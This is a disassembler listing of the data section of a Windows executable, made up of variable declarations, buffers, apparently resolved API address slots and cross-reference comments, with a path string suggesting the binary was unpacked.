a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_432164	dd offset off_422CE8	; DATA XREF: _1:off_422E0Co
					; _1:00422E50o	...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 8
off_432188	dd offset off_422CE8	; DATA XREF: _1:off_422E58o
					; _1:00422E94o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41E98E
		align 8
byte_4321A8	db 0			; DATA XREF: sub_40144A+1D3w
					; sub_40144A+2D2o
		align 2
word_4321AA	dw 0			; DATA XREF: sub_40144A+1E3w
word_4321AC	dw 0			; DATA XREF: sub_40144A+1E9w
word_4321AE	dw 0			; DATA XREF: sub_40144A+1F0w
byte_4321B0	db 0			; DATA XREF: sub_40144A+1F7w
byte_4321B1	db 0			; DATA XREF: sub_40144A+1FEw
word_4321B2	dw 0			; DATA XREF: sub_40144A+204w
dword_4321B4	dd 0			; DATA XREF: sub_40144A+234w
					; sub_40144A+250w
dword_4321B8	dd 0			; DATA XREF: sub_40144A+258w
byte_4321BC	db 0			; DATA XREF: sub_40144A+26Aw
byte_4321BD	db 0			; DATA XREF: sub_40144A+27Dw
word_4321BE	dw 0			; DATA XREF: sub_40144A+295w
word_4321C0	dw 0			; DATA XREF: sub_40144A+2A4w
word_4321C2	dw 0			; DATA XREF: sub_40144A+29Cw
dword_4321C4	dd 102h	dup(0)		; DATA XREF: sub_40144A+2B9o
dword_4325CC	dd 2 dup(0)		; DATA XREF: sub_403087+68o
dword_4325D4	dd 0			; DATA XREF: sub_402B27+13o
					; sub_40D2E0+610Do ...
byte_4325D8	db 0			; DATA XREF: sub_4033A1+10o
					; sub_40513E+74o ...
		align 4
dword_4325DC	dd 0			; DATA XREF: sub_404021+2Aw
					; sub_404021+51r ...
dword_4325E0	dd 0			; DATA XREF: sub_40345C+45r
					; sub_403A1B+6Bw ...
		align 8
dword_4325E8	dd 0			; DATA XREF: sub_405821+18r
					; sub_405C74+92w ...
dword_4325EC	dd 0			; DATA XREF: sub_405DAD+4Dr
					; sub_405FC5+D9w ...
		dd 7FEh	dup(0)
dword_4345E8	dd 6 dup(0)		; DATA XREF: sub_405DAD+D2o
					; sub_405DAD+13Bo ...
dword_434600	dd 0			; DATA XREF: sub_405898+82w
					; sub_405898+102o
dword_434604	dd 41h dup(0)		; DATA XREF: sub_405898+41o
dword_434708	dd 41h dup(0)		; DATA XREF: sub_405898+63o
dword_43480C	dd 0			; DATA XREF: sub_405898+F8w
					; sub_405898+114r
dword_434810	dd 0			; DATA XREF: sub_405898+52w
dword_434814	dd 0			; DATA XREF: sub_405898+4Dw
					; sub_405898+CFr
dword_434818	dd 20h dup(0)		; DATA XREF: sub_405898+9Ao
					; sub_405898+BAo
dword_434898	dd 0			; DATA XREF: sub_405898+8Fw
dword_43489C	dd 0			; DATA XREF: sub_405898+A7w
					; sub_405898+C7w
dword_4348A0	dd 0			; DATA XREF: sub_405898:loc_4059C2r
		align 8
dword_4348A8	dd 0			; DATA XREF: sub_405898+2D5w
					; sub_405898+32Eo
dword_4348AC	dd 0A2h	dup(0)		; DATA XREF: sub_405898+2C3o
dword_434B34	dd 41h dup(0)		; DATA XREF: sub_405898+28Do
dword_434C38	dd 0			; DATA XREF: sub_405898+2BAw
					; sub_405898+2E1r
		align 10h
dword_434C40	dd 0			; DATA XREF: sub_405898+324w
					; sub_405898+340r
dword_434C44	dd 0			; DATA XREF: sub_405898+2E7w
dword_434C48	dd 0			; DATA XREF: sub_405898+2F4w
dword_434C4C	dd 0			; DATA XREF: sub_405898+2B4w
		dd 0
dword_434C54	dd 0			; DATA XREF: sub_405898:loc_405BEEr
dword_434C58	dd 0			; DATA XREF: sub_405898+1A1w
					; sub_405898+221o
dword_434C5C	dd 41h dup(0)		; DATA XREF: sub_405898+163o
dword_434D60	dd 41h dup(0)		; DATA XREF: sub_405898+182o
dword_434E64	dd 0			; DATA XREF: sub_405898+217w
					; sub_405898+233r
dword_434E68	dd 0			; DATA XREF: sub_405898+171w
dword_434E6C	dd 0			; DATA XREF: sub_405898+1EEr
dword_434E70	dd 20h dup(0)		; DATA XREF: sub_405898+1B9o
					; sub_405898+1D9o
dword_434EF0	dd 0			; DATA XREF: sub_405898+1AEw
dword_434EF4	dd 0			; DATA XREF: sub_405898+1C6w
					; sub_405898+1E6w
dword_434EF8	dd 0			; DATA XREF: sub_405898:loc_405AE2r
		align 10h
dword_434F00	dd 0			; DATA XREF: sub_406E34+Fr
					; sub_40702D+12r
		align 8
dword_434F08	dd 80h dup(0)		; DATA XREF: sub_407D4C+41o
dword_435108	dd 50h dup(0)		; DATA XREF: sub_40767D+C7o
					; sub_4079D8+DDo ...
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: _2:off_4254CCo
		dd 1AFh	dup(0)
dword_435908	dd 200h	dup(0)		; DATA XREF: sub_40767D+D6o
					; sub_4079D8+F4o ...
dword_436108	dd 0			; DATA XREF: sub_40767D+86w
					; sub_40784F+94r
dword_43610C	dd 0			; DATA XREF: sub_40767D+A7w
					; sub_407CB5+55r ...
dword_436110	dd 0			; DATA XREF: sub_40767D+A0w
					; sub_40784F+D6r ...
dword_436114	dd 0			; DATA XREF: sub_40767D+79w
					; sub_40784F+35r ...
dword_436118	dd 80h dup(0)		; DATA XREF: sub_407CB5+5Eo
dword_436318	dd 0			; DATA XREF: sub_40767D+93w
					; sub_40784F+A2r
		align 10h
dword_436320	dd 0			; DATA XREF: sub_40767D+E7o
					; sub_40767D+103r ...
dword_436324	dd 0			; DATA XREF: sub_4079D8+17Bw
					; sub_407B7F+107w
dword_436328	dd 0			; DATA XREF: sub_4079D8+180w
					; sub_407B7F+10Dw ...
dword_43632C	dd 0			; DATA XREF: sub_4079D8+159w
					; sub_407CB5+4Fr
dword_436330	dd 77C72C6Bh		; DATA XREF: sub_406BF9+210r
					; sub_406BF9+21Ar ...
dword_436334	dd 77EBA994h		; DATA XREF: sub_407E65+65w
					; sub_4135F8+F5r
dword_436338	dd 7622A3F4h		; DATA XREF: sub_407E65+7EDw
					; sub_407E65+862r ...
dword_43633C	dd 71C45229h		; DATA XREF: sub_407E65+9BAw
					; sub_407E65+A18r ...
dword_436340	dd 71C24870h		; DATA XREF: sub_407E65+96Cw
					; sub_407E65+9E8r ...
dword_436344	dd 77C71BB0h		; DATA XREF: sub_406BF9+D1r
					; sub_407E65+46Fw ...
dword_436348	dd 77D4808Bh		; DATA XREF: sub_4023A7+ECr
					; sub_4023A7+109r ...
dword_43634C	dd 71C4502Ch		; DATA XREF: sub_407E65+9ADw
					; sub_407E65+A10r ...
dword_436350	dd 77DE801Bh		; DATA XREF: sub_407E65+354w
					; sub_407E65+3A9r ...
dword_436354	dd 77DDACABh		; DATA XREF: sub_407E65+3F1w
					; sub_409F1E+11Er
dword_436358	dd 77DE8075h		; DATA XREF: sub_407E65+361w
					; sub_407E65+3B1r ...
dword_43635C	dd 77DD7496h		; DATA XREF: sub_407E65+3A2w
					; sub_40C154+ADr
dword_436360	dd 71AB1B7Bh		; DATA XREF: sub_404138+115r
					; sub_406AF9+7Dr ...
dword_436364	dd 77E686CCh		; DATA XREF: sub_407E65+72w
					; sub_407E65+D2r ...
dword_436368	dd 71C2498Bh		; DATA XREF: sub_407E65+95Fw
					; sub_407E65+9DBr ...
dword_43636C	dd 77DDAB2Fh		; DATA XREF: sub_407E65+388w
					; sub_407E65+3C9r ...
dword_436370	dd 7620E8C3h		; DATA XREF: sub_407E65+83Bw
					; sub_407E65+88Er ...
dword_436374	dd 77DD23D7h		; DATA XREF: sub_40726C+58r
					; sub_407E65+2A5w ...
dword_436378	dd 76214750h		; DATA XREF: sub_407E65+82Ew
					; sub_407E65+886r ...
dword_43637C	dd 77E6D75Bh		; DATA XREF: sub_407E65+B3w
dword_436380	dd 7620BD61h		; DATA XREF: sub_407E65+848w
					; sub_407E65+896r ...
dword_436384	dd 71AB60C9h		; DATA XREF: sub_406224+7Er
					; sub_407E65+52Fw ...
dword_436388	dd 77EBA6E9h		; DATA XREF: sub_407E65+58w
					; sub_407E65+CAr ...
dword_43638C	dd 76D62A58h		; DATA XREF: sub_407E65+916w
					; sub_4095CC+11Ar
dword_436390	dd 76F36EAAh		; DATA XREF: sub_407E65+A66w
					; sub_407E65+A6Dr ...
dword_436394	dd 77E802FCh		; DATA XREF: sub_407E65+A6w
					; sub_407E65+F2r
dword_436398	dd 77C75455h		; DATA XREF: sub_406BF9+119r
					; sub_407E65+462w ...
dword_43639C	dd 71AB12A7h		; DATA XREF: sub_405C2C+20r
					; sub_407E65+5D8w ...
dword_4363A0	dd 71C574FAh		; DATA XREF: sub_407E65+9A0w
					; sub_407E65+A08r
dword_4363A4	dd 71AB1746h		; DATA XREF: sub_402688+280r
					; sub_407E65+5CBw ...
dword_4363A8	dd 71B28D0Dh		; DATA XREF: sub_407E65+B21w
dword_4363AC	dd 762211EFh		; DATA XREF: sub_407E65+7E0w
					; sub_407E65+84Fr ...
dword_4363B0	dd 77D902E3h		; DATA XREF: sub_407E65+1B3w
					; sub_409266+15r
dword_4363B4	dd 71C2FA86h		; DATA XREF: sub_407E65+979w
					; sub_407E65+9F0r ...
dword_4363B8	dd 77DE1291h		; DATA XREF: sub_407E65+36Ew
					; sub_407E65+3B9r ...
dword_4363BC	dd 77E2C1B3h		; DATA XREF: sub_407E65+37Bw
					; sub_407E65+3C1r ...
dword_4363C0	dd 73B81E3Bh		; DATA XREF: sub_406E34+28r
					; sub_40702D+2Br ...
dword_4363C4	dd 71ABF628h		; DATA XREF: sub_407E65+68Ew
					; sub_4138EE+D0r
dword_4363C8	dd 71AB1836h		; DATA XREF: sub_4010B5:loc_4013E0r
					; sub_401A76:loc_401D1Cr ...
dword_4363CC	dd 77C72889h		; DATA XREF: sub_406BF9+207r
					; sub_407E65+496w
dword_4363D0	dd 71C453F8h		; DATA XREF: sub_407E65+9C7w
					; sub_407E65+A20r ...
dword_4363D4	dd 77DD5C55h		; DATA XREF: sub_407E65+2B2w
					; sub_407E65+2DEr ...
dword_4363D8	dd 77E96645h		; DATA XREF: sub_407E65+7Fw
					; sub_407E65+DAr ...
dword_4363DC	dd 77428B97h		; DATA XREF: sub_407E65+B6Ew
					; sub_407E65+B75r ...
dword_4363E0	dd 71AB41DAh		; DATA XREF: sub_4010B5+2Fr
					; sub_401A76+2Fr ...
dword_4363E4	dd 762059A3h		; DATA XREF: sub_407E65+807w
					; sub_407E65+872r ...
dword_4363E8	dd 71C4A1B4h		; DATA XREF: sub_407E65+986w
					; sub_407E65+9F8r
dword_4363EC	dd 1F7CD214h		; DATA XREF: sub_407E65+BDFw
					; sub_407E65+C10r
dword_4363F0	dd 77D4456Bh		; DATA XREF: sub_4023A7+40r
					; sub_4023A7+63r ...
dword_4363F4	dd 76D629BBh		; DATA XREF: sub_407E65+8FCw
					; sub_407E65+910r ...
dword_4363F8	dd 1F7B9D96h		; DATA XREF: sub_407E65+BF9w
dword_4363FC	dd 71AB1740h		; DATA XREF: sub_4010B5:loc_4013AAr
					; sub_40144A+3Cr ...
dword_436400	dd 7620AFB6h		; DATA XREF: sub_407E65+821w
					; sub_407E65+855r
dword_436404	dd 77D5C13Ah		; DATA XREF: sub_4023A7+50r
					; sub_4023A7+78r ...
dword_436408	dd 77D45B19h		; DATA XREF: sub_406E34+3Fr
					; sub_406E34+69r ...
dword_43640C	dd 71AB157Eh		; DATA XREF: sub_407E65+65Aw
					; sub_407E65+786r ...
dword_436410	dd 71AB3E5Dh		; DATA XREF: sub_40345C+F2r
					; sub_40513E+62r ...
dword_436414	dd 71AB14DCh		; DATA XREF: sub_402688+16Er
					; sub_407E65+549w ...
dword_436418	dd 0CC0004h		; DATA XREF: sub_407E65+8BDw
					; sub_407E65:loc_408740w ...
dword_43641C	dd 77DD590Bh		; DATA XREF: sub_407E65+28Bw
					; sub_407E65+2C6r ...
dword_436420	dd 71ABD755h		; DATA XREF: sub_4063AC+98r
					; sub_407E65+681w ...
dword_436424	dd 77DF7311h		; DATA XREF: sub_407E65+30Fw
					; sub_407E65+323r ...
dword_436428	dd 77DDA2AFh		; DATA XREF: sub_407E65+395w
					; sub_407E65+3D1r ...
dword_43642C	dd 1F7CD927h		; DATA XREF: sub_407E65+BD2w
					; sub_407E65+C08r
dword_436430	dd 76206853h		; DATA XREF: sub_407E65+7FAw
					; sub_407E65+86Ar ...
dword_436434	dd 77D4932Ch		; DATA XREF: sub_4023A7+FCr
					; sub_407E65+206w ...
dword_436438	dd 77D5E310h		; DATA XREF: sub_407E65+18Cw
					; sub_407E65+1D2r ...
dword_43643C	dd 76206B7Fh		; DATA XREF: sub_407E65+814w
					; sub_407E65+87Ar ...
dword_436440	dd 71AB1444h		; DATA XREF: sub_40525F+244r
					; sub_407E65+606w ...
dword_436444	dd 77DD189Ah		; DATA XREF: sub_40726C+18Ar
					; sub_407E65+2BFw ...
dword_436448	dd 71AB3F8Dh		; DATA XREF: sub_4010B5+6Fr
					; sub_40144A+AAr ...
dword_43644C	dd 77DD5D20h		; DATA XREF: sub_407E65+302w
					; sub_407E65+316r ...
dword_436450	dd 71AB1890h		; DATA XREF: sub_404138+F9r
					; sub_40525F+1FCr ...
dword_436454	dd 77C76B34h		; DATA XREF: sub_406BF9+16r
					; sub_407E65+42Ew ...
dword_436458	dd 77D5E38Ch		; DATA XREF: sub_407E65+199w
					; sub_407E65+1DAr ...
dword_43645C	dd 77DDA20Bh		; DATA XREF: sub_407E65+347w
					; sub_407E65+39Cr ...
dword_436460	dd 76F36EEBh		; DATA XREF: sub_407E65+A73w
dword_436464	dd 71AB12A7h		; DATA XREF: sub_4010B5+EBr
					; sub_4010B5+1F9r ...
dword_436468	dd 71AB1746h		; DATA XREF: sub_4010B5+87r
					; sub_4010B5+9Dr ...
dword_43646C	dd 77EBA595h		; DATA XREF: sub_407E65+4Bw
					; sub_407E65+C2r ...
dword_436470	dd 77C7531Dh		; DATA XREF: sub_406BF9+2Cr
					; sub_406BF9+38r ...
dword_436474	dd 77D4BDCAh		; DATA XREF: sub_407E65+165w
					; sub_407E65+1BAr ...
dword_436478	dd 71C3516Ah		; DATA XREF: sub_407E65+9E1w
					; sub_40CA59+72r
dword_43647C	dd 71AB32CAh		; DATA XREF: sub_407E65+667w
					; sub_407E65+78Er
dword_436480	dd 71AB5690h		; DATA XREF: sub_402688+205r
					; sub_402FC3+75r ...
dword_436484	dd 1F7CB8F8h		; DATA XREF: sub_407E65+BECw
					; sub_407E65+C18r
dword_436488	dd 77EBB1E7h		; DATA XREF: sub_407E65+3Ew
					; sub_407E65+BAr ...
dword_43648C	dd 77DD59F0h		; DATA XREF: sub_407E65+298w
					; sub_407E65+2CEr ...
dword_436490	dd 71AB5DE2h		; DATA XREF: sub_404138+9Er
					; sub_406224+9Cr ...
dword_436494	dd 71AB3ECEh		; DATA XREF: sub_402688+EBr
					; sub_404138+89r ...
dword_436498	dd 73B81B0Fh		; DATA XREF: sub_407E65+C63w
					; sub_40D2E0+4624r
dword_43649C	dd 76204E4Dh		; DATA XREF: sub_407E65+85Bw
					; sub_40A291+205r ...
dword_4364A0	dd 0			; DATA XREF: sub_407E65+112w
dword_4364A4	dd 1F7D886Ah		; DATA XREF: sub_407E65+BB8w
					; sub_407E65+BF3r
dword_4364A8	dd 71AB12F8h		; DATA XREF: sub_40144A+119r
					; sub_40144A+1A0r ...
dword_4364AC	dd 77C76551h		; DATA XREF: sub_406BF9+BCr
					; sub_407E65+43Bw ...
dword_4364B0	dd 77C729E2h		; DATA XREF: sub_406BF9+FBr
					; sub_407E65+47Cw ...
dword_4364B4	dd 77C7212Fh		; DATA XREF: sub_406BF9+65r
					; sub_407E65+448w ...
dword_4364B8	dd 71AB1AF4h		; DATA XREF: sub_403042+1Br
					; sub_403042+35r ...
dword_4364BC	dd 77D5E303h		; DATA XREF: sub_407E65+1A6w
					; sub_407E65+1E2r ...
dword_4364C0	dd 71C4576Ch		; DATA XREF: sub_407E65+9D4w
					; sub_407E65+A28r ...
dword_4364C4	dd 77D4702Fh		; DATA XREF: sub_406E34+53r
					; sub_406E34+7Fr ...
dword_4364C8	dd 77E6C0E3h		; DATA XREF: sub_407E65+8Cw
					; sub_407E65+E2r ...
dword_4364CC	dd 71AB1ED3h		; DATA XREF: sub_4010B5+2C2r
					; sub_40144A+2DAr ...
dword_4364D0	dd 71B2A381h		; DATA XREF: sub_407E65+B14w
					; sub_407E65+B30r
dword_4364D4	dd 77DDA595h		; DATA XREF: sub_407E65+31Cw
					; sub_41358D+55r
dword_4364D8	dd 77DD22EAh		; DATA XREF: sub_40726C+3Fr
					; sub_407E65+27Ew ...
dword_4364DC	dd 773F97B0h		; DATA XREF: sub_407E65+B7Bw
dword_4364E0	dd 76D67A29h		; DATA XREF: sub_407E65+ABDw
					; sub_409448+CEr
dword_4364E4	dd 76D674FAh		; DATA XREF: sub_407E65+AB0w
					; sub_407E65+AB7r ...
dword_4364E8	dd 71AB3C22h		; DATA XREF: sub_40144A+2Er
					; sub_401D82+55r ...
dword_4364EC	dd 71AB2BBFh		; DATA XREF: sub_4063AC+88r
					; sub_407E65+674w ...
dword_4364F0	dd 1F7BA3A9h		; DATA XREF: sub_407E65+BC5w
					; sub_407E65+C00r
dword_4364F4	dd 71AB401Ch		; DATA XREF: sub_402688+28Dr
					; sub_40525F+250r ...
dword_4364F8	dd 71C214BAh		; DATA XREF: sub_407E65+993w
					; sub_407E65+A00r ...
dword_4364FC	dd 71AB868Dh		; DATA XREF: sub_404138+13Ar
					; sub_406224+B3r ...
dword_436500	dd 71AB1A6Dh		; DATA XREF: sub_4010B5+324r
					; sub_40144A+2F0r ...
dword_436504	dd 71AB155Ah		; DATA XREF: sub_404138+B7r
					; sub_404138+39Fr ...
dword_436508	dd 71B22C25h		; DATA XREF: sub_407E65+B07w
					; sub_407E65+B28r
dword_43650C	dd 71AB5A01h		; DATA XREF: sub_4010B5+4Fr
					; sub_401A76+4Fr ...
dword_436510	dd 71B2ACCBh		; DATA XREF: sub_407E65+AFAw
					; sub_407E65+B1Br
dword_436514	dd 77E78C17h		; DATA XREF: sub_407E65+31w
					; sub_407E65+ADr ...
dword_436518	dd 77D49A11h		; DATA XREF: sub_406E34+1ECr
					; sub_40702D+232r ...
		align 10h
dword_436520	dd 76D62A37h		; DATA XREF: sub_407E65+909w
					; sub_407E65+91Dr ...
off_436524	dd offset sub_4DA1C7	; DATA XREF: sub_407E65+99w
					; sub_407E65+EAr ...
dword_436528	dd 0			; DATA XREF: sub_407E65:loc_407F63w
					; sub_407E65+12Bw ...
dword_43652C	dd 0			; DATA XREF: sub_407E65+126w
					; sub_408AF2+1Cr
dword_436530	dd 0			; DATA XREF: sub_407E65:loc_408053w
					; sub_407E65:loc_4080BAw ...
dword_436534	dd 0			; DATA XREF: sub_407E65+250w
					; sub_408AF2+50r
dword_436538	dd 0			; DATA XREF: sub_407E65:loc_40814Fw
					; sub_407E65:loc_408194w ...
dword_43653C	dd 0			; DATA XREF: sub_407E65+400w
					; sub_408AF2+84r
dword_436540	dd 0			; DATA XREF: sub_407E65:loc_40834Bw
					; sub_408AF2:loc_408BA2r
dword_436544	dd 0			; DATA XREF: sub_407E65+4E1w
					; sub_408AF2+B8r
dword_436548	dd 0			; DATA XREF: sub_407E65:loc_40861Cw
					; sub_408AF2:loc_408BD6r
dword_43654C	dd 0			; DATA XREF: sub_407E65+7B2w
					; sub_408AF2+ECr
dword_436550	dd 0			; DATA XREF: sub_407E65:loc_408707w
					; sub_407E65+8D1w ...
dword_436554	dd 0			; DATA XREF: sub_407E65+8CCw
					; sub_408AF2+120r
dword_436558	dd 0			; DATA XREF: sub_407E65:loc_40879Bw
					; sub_408AF2:loc_408C3Er ...
dword_43655C	dd 0			; DATA XREF: sub_407E65+931w
					; sub_408AF2+154r
dword_436560	dd 0			; DATA XREF: sub_407E65:loc_4088A6w
					; sub_408AF2:loc_408C72r ...
dword_436564	dd 0			; DATA XREF: sub_407E65+A3Cw
					; sub_408AF2+188r
dword_436568	dd 0			; DATA XREF: sub_407E65:loc_4088F0w
					; sub_408AF2:loc_408CA6r
dword_43656C	dd 0			; DATA XREF: sub_407E65+A86w
					; sub_408AF2+1BCr
dword_436570	dd 0			; DATA XREF: sub_407E65:loc_40893Aw
					; sub_408AF2:loc_408CDAr
dword_436574	dd 0			; DATA XREF: sub_407E65+AD0w
					; sub_408AF2+1F0r
dword_436578	dd 0			; DATA XREF: sub_407E65:loc_4089AEw
					; sub_408AF2:loc_408D0Er
dword_43657C	dd 0			; DATA XREF: sub_407E65+B44w
					; sub_408AF2+224r
dword_436580	dd 0			; DATA XREF: sub_407E65:loc_4089F8w
					; sub_408AF2:loc_408D42r
dword_436584	dd 0			; DATA XREF: sub_407E65+B8Ew
					; sub_408AF2+258r
dword_436588	dd 0			; DATA XREF: sub_407E65:loc_408A96w
					; sub_408AF2:loc_408D76r
dword_43658C	dd 0			; DATA XREF: sub_407E65+C2Cw
					; sub_408AF2+28Cr
dword_436590	dd 0			; DATA XREF: sub_407E65:loc_408AE0w
					; sub_408AF2:loc_408DAAr
dword_436594	dd 0			; DATA XREF: sub_407E65+C76w
					; sub_408AF2+2C0r
dword_436598	dd 81h dup(0)		; DATA XREF: sub_40907B+6Ao
dword_43679C	dd 5 dup(0)		; DATA XREF: sub_409526+32o
dword_4367B0	dd 0			; DATA XREF: sub_40996E:loc_40998Fr
					; sub_409A5D+54r ...
dword_4367B4	dd 0			; DATA XREF: sub_40996Er
					; sub_409A5D+37r ...
dword_4367B8	dd 0			; DATA XREF: sub_40999E+1Ar
					; sub_409BB2+83o
dword_4367BC	dd 0			; DATA XREF: sub_40996E:loc_409982r
					; sub_409BB2+11Bw
dword_4367C0	dd 0Dh dup(0)		; DATA XREF: sub_409A5D+13o
					; sub_409BB2:loc_409CEFo
dword_4367F4	dd 0			; DATA XREF: sub_409A5D+CDr
					; sub_409A5D+ECr ...
		dd 0
dword_4367FC	dd 0Eh dup(0)		; DATA XREF: sub_409D67+47o
dword_436834	dd 1000h dup(0)		; DATA XREF: sub_40A5B3+1Do
					; sub_40A653o ...
dword_43A834	dd 0			; DATA XREF: sub_40A5B3+13o
					; sub_40A653+Eo ...
dword_43A838	dd 0Eh dup(0)		; DATA XREF: sub_40B62E+Fo
dword_43A870	dd 2 dup(0)		; DATA XREF: sub_40B9B9+C8o
dword_43A878	dd 17h dup(0)		; DATA XREF: sub_40BCA3:loc_40BDC0o
					; sub_40BCA3+131o ...
dword_43A8D4	dd 80h dup(0)		; DATA XREF: sub_40CA59+7Co
					; sub_40CA59+A5o
dword_43AAD4	dd 0			; DATA XREF: sub_40C01E+45w
					; sub_40C01E+4Dr ...
dword_43AAD8	dd 17h dup(0)		; DATA XREF: sub_40C925:loc_40CA47o
					; sub_40C925+12Do
dword_43AB34	dd 80h dup(0)		; DATA XREF: sub_40BF5E+4Co
					; sub_40BF5E+7Eo ...
byte_43AD34	db 0			; DATA XREF: sub_40C01E+29r
					; sub_40C01E+34w
		align 4
dword_43AD38	dd 80h dup(0)		; DATA XREF: sub_40C275+61o
					; sub_40C275+89o ...
dword_43AF38	dd 82h dup(0)		; DATA XREF: sub_40BB87:loc_40BBBFo
					; sub_40BB87+5Bo
dword_43B140	dd 0			; DATA XREF: sub_40A4BB+Ao
					; sub_40A4BB+44r ...
		dd 5 dup(0)
dword_43B158	dd 0			; DATA XREF: sub_40A4BB+60r
					; sub_40D2E0+BD6r
		dd 2D9h	dup(0)
dword_43BCC0	dd 0			; DATA XREF: sub_405DAD+A8r
					; sub_40A4BB+2Do ...
		dd 7Fh dup(0)
dword_43BEC0	dd 0			; DATA XREF: sub_414F2C+41w
					; sub_415067+40w ...
dword_43BEC4	dd 0			; DATA XREF: sub_404716+23Bw
					; sub_405DAD:loc_405DF4r ...
dword_43BEC8	dd 0			; DATA XREF: sub_409BB2+164w
					; sub_414C7E+AEw ...
dword_43BECC	dd 0			; DATA XREF: sub_402688+E0w
					; sub_404138+7Ew ...
dword_43BED0	dd 0			; DATA XREF: sub_4063AC+11Ew
					; sub_406593+53r ...
dword_43BED4	dd 0			; DATA XREF: sub_404716+268w
					; sub_405898+122w ...
byte_43BED8	db 0			; DATA XREF: sub_40D000+91o
					; sub_40D2E0+3357r ...
		align 4
		dd 261Dh dup(0)
dword_445750	dd 6A2Ch dup(0)		; DATA XREF: _2:off_425C40o
dword_460000	dd 1A330h dup(0)	; DATA XREF: _4:004D0B4Co
dword_4C8CC0	dd 1Bh			; DATA XREF: sub_405756:loc_4057C4r
					; sub_40CB17+3Aw ...
		align 8
dword_4C8CC8	dd 0			; DATA XREF: sub_40CB17:loc_40CF12o
dword_4C8CCC	dd 20h dup(0)		; DATA XREF: sub_40CB17+393o
					; sub_40CB17+44Co ...
dword_4C8D4C	dd 10h dup(0)		; DATA XREF: sub_40CB17+3AAo
					; sub_40D2E0+929o
dword_4C8D8C	dd 24h dup(0)		; DATA XREF: sub_40CB17+3C1o
dword_4C8E1C	dd 0			; DATA XREF: sub_40CB17+3B5w
					; sub_40CB17+463w ...
dword_4C8E20	dd 0			; DATA XREF: sub_40CB17+3D4w
		align 10h
dword_4C8E30	dd 0			; DATA XREF: sub_40D000+72r
					; sub_40D2E0+273r
		align 8
byte_4C8E38	db 0			; DATA XREF: sub_40D168+28r
					; sub_40D168+30o
		align 4
dword_4C8E3C	dd 0			; DATA XREF: sub_40CB17+400w
					; sub_40CB17+417r ...
dword_4C8E40	dd 0			; DATA XREF: sub_40CB17+398w
					; sub_40D2E0+8CAr
		dd 2 dup(0)
dword_4C8E4C	dd 0			; DATA XREF: sub_4138EE+146r
		dd 0
dword_4C8E54	dd 1Bh dup(0)		; DATA XREF: sub_4141D8+8Do
dword_4C8EC0	dd 0			; DATA XREF: sub_415174+16o
					; sub_415193+19o
dword_4C8EC4	dd 68h dup(0)		; DATA XREF: sub_415127+3Do
dword_4C9064	dd 0			; DATA XREF: sub_415F19+Aw
dword_4C9068	dd 0			; DATA XREF: sub_416ACB+5Er
					; sub_416ACB+A4w
		align 10h
word_4C9070	dw 0			; DATA XREF: sub_416ACB+55r
					; sub_416ACB+9Ao
word_4C9072	dw 0			; DATA XREF: sub_416ACB+48r
		db 2 dup(0)
word_4C9076	dw 0			; DATA XREF: sub_416ACB+3Br
word_4C9078	dw 0			; DATA XREF: sub_416ACB+2Er
word_4C907A	dw 0			; DATA XREF: sub_416ACB+21r
		align 10h
dword_4C9080	dd 0			; DATA XREF: sub_416C8F+3Br
					; sub_416C8F+91w
dword_4C9084	dd 0			; DATA XREF: sub_416878+1B9w
					; sub_416E2E:loc_416EAAw ...
dword_4C9088	dd 0			; DATA XREF: sub_417919+35w
					; sub_4187D7:loc_418871w ...
dword_4C908C	dd 0			; DATA XREF: sub_41DFE6+13Ar
dword_4C9090	dd 0A28h		; DATA XREF: _0:00417D56w
dword_4C9094	dd 501h			; DATA XREF: _0:00417D4Dw
dword_4C9098	dd 5			; DATA XREF: _0:00417D42w
dword_4C909C	dd 1			; DATA XREF: _0:00417D34w
dword_4C90A0	dd 1			; DATA XREF: sub_40CB17:loc_40CDFAr
					; sub_41D360+91w
dword_4C90A4	dd 0A70B20h		; DATA XREF: sub_40CB17+2ECr
					; sub_40CB17+30Cr ...
		dd 0
dword_4C90AC	dd 0A70B48h		; DATA XREF: sub_41D2A7+44w
					; sub_41FECD+9r ...
dword_4C90B0	dd 0			; DATA XREF: sub_4205B1+36r
dword_4C90B4	dd 0			; DATA XREF: sub_41FECD+16r
					; sub_42029B+4r ...
		dd 0
off_4C90BC	dd offset aCM_unpackerPac ; DATA XREF: sub_41D360+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4C90C4	db 0			; DATA XREF: sub_417C27+2Dw
					; _0:0041DC0Cr
		align 4
dword_4C90C8	dd 0			; DATA XREF: sub_417C27+27w
dword_4C90CC	dd 0			; DATA XREF: sub_417C27+4r
					; sub_417C27+8Bw
dword_4C90D0	dd 0			; DATA XREF: _0:00417D88w
					; sub_41D2A7:loc_41D2B9r ...
		align 8
dword_4C90D8	dd 0			; DATA XREF: sub_417DFAr sub_417E1Fr ...
dword_4C90DC	dd 0			; DATA XREF: sub_4189C2+37r
		dd 0
dword_4C90E4	dd 0			; DATA XREF: sub_415D2Fr
					; sub_41756F:loc_41768Br ...
dword_4C90E8	dd 0			; DATA XREF: sub_418C74r
dword_4C90EC	dd 0			; DATA XREF: sub_419B42+4Bw
					; sub_419C5B+2Dw ...
dword_4C90F0	dd 0			; DATA XREF: sub_41AA8D+11r
					; sub_41AB91+1Ar ...
byte_4C90F4	db 0			; DATA XREF: sub_41AA8D+3r
					; sub_41AA8D+98r ...
		align 4
dword_4C90F8	dd 0			; DATA XREF: sub_41AB91+11r
					; sub_41AC6F+21w ...
byte_4C90FC	db 0			; DATA XREF: sub_41AC6F+51w
		align 10h
dword_4C9100	dd 0			; DATA XREF: sub_41AE65+4Er
					; sub_41B240+3Ar ...
dword_4C9104	dd 0			; DATA XREF: sub_41AE65+5Cr
					; sub_41B240+43r ...
dword_4C9108	dd 0			; DATA XREF: sub_4161A2+7Ar
					; sub_41B00C+5r
dword_4C910C	dd 0			; DATA XREF: sub_41B61C+29r
dword_4C9110	dd 1			; DATA XREF: sub_41C829+28r
					; sub_41C829+4Cw ...
		dd 2 dup(0)
dword_4C911C	dd 0			; DATA XREF: sub_417183+4r
					; sub_417183+6Er ...
		dd 3 dup(0)
dword_4C912C	dd 0			; DATA XREF: sub_417AD9+61r
					; sub_417AD9+BFr ...
		dd 0
dword_4C9134	dd 1			; DATA XREF: sub_41CA4D:loc_41CBC8r
					; sub_41CBE6+4w ...
